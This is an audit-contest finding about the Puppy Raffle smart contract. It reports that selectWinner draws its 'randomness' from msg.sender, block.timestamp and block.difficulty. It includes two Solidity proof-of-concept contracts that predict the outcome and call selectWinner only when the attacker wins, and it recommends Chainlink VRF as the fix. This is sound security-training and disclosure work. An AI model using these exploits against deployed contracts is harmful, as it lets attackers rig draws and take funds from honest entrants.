Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Weak on-chain randomness in selectWinner — winner and rarity are derived from msg.sender/block.timestamp/block.difficulty, so entrants can predict or manipulate the draw

hopeh

Description

selectWinner derives both the winning index and the puppy rarity from values that are fully known to, or influenceable by, the caller and the block producer:

uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
...
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;

None of these inputs is a secret:

  • msg.sender is chosen by whoever calls selectWinner.

  • block.timestamp and block.difficulty (prevrandao post-merge) are set by the block producer and are readable/predictable within the transaction.

Consequences:

  1. Anyone can compute the outcome before acting. A caller can simulate keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty)) % players.length off-chain (or in a contract, in the same transaction) and only call selectWinner when it resolves to their own index — guaranteeing they win. They can likewise grind msg.sender (deploy from different addresses / vary a helper) until the rarity resolves to LEGENDARY.

  2. Block producers can manipulate it. A miner/validator selecting block.timestamp/difficulty can bias the result toward a chosen entrant.

Because the "random" winner controls the 80% prize pool and a valuable Legendary NFT, this is a direct, profitable manipulation of the core mechanism. On-chain block properties are a well-known insecure randomness source (SWC-120).

Risk

Impact: High. The raffle's fairness — its entire purpose — is broken. An attacker can force themselves to win the prize pool and mint the rarest NFT at will, stealing value from honest entrants.

Likelihood: High. selectWinner is permissionless; anyone can call it in a transaction that first checks the predicted outcome and reverts if unfavorable, making a winning call essentially free to attempt.

Proof of Concept

contract Predictor {
PuppyRaffle raffle;
constructor(PuppyRaffle _r) { raffle = _r; }
​
// Only fires selectWinner when THIS contract is the computed winner.
function winOrRevert(uint256 nPlayers, uint256 myIndex) external {
uint256 idx = uint256(
keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))
) % nPlayers;
require(idx == myIndex, "not my block"); // revert cheaply, try again next block
raffle.selectWinner(); // guaranteed win
}
}

Flow: the attacker enters, records their index, then repeatedly calls winOrRevert (or simply calls in the exact block where the prediction matches). When the predicted index equals theirs, selectWinner pays the 80% pool to the attacker. The same predictability lets them grind for a LEGENDARY rarity.

Expected: no entrant can know or influence the winner in advance. Actual: the winner and rarity are deterministic functions of public block data and a caller-chosen address.

Recommended Mitigation

Do not derive randomness from block properties or msg.sender. Use a verifiable, tamper-resistant source such as Chainlink VRF (request/callback), which provides randomness that neither entrants nor block producers can predict or bias. If VRF is unavailable, a commit-reveal scheme with values committed before the draw block is a weaker alternative, but VRF is the standard fix for on-chain raffles.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!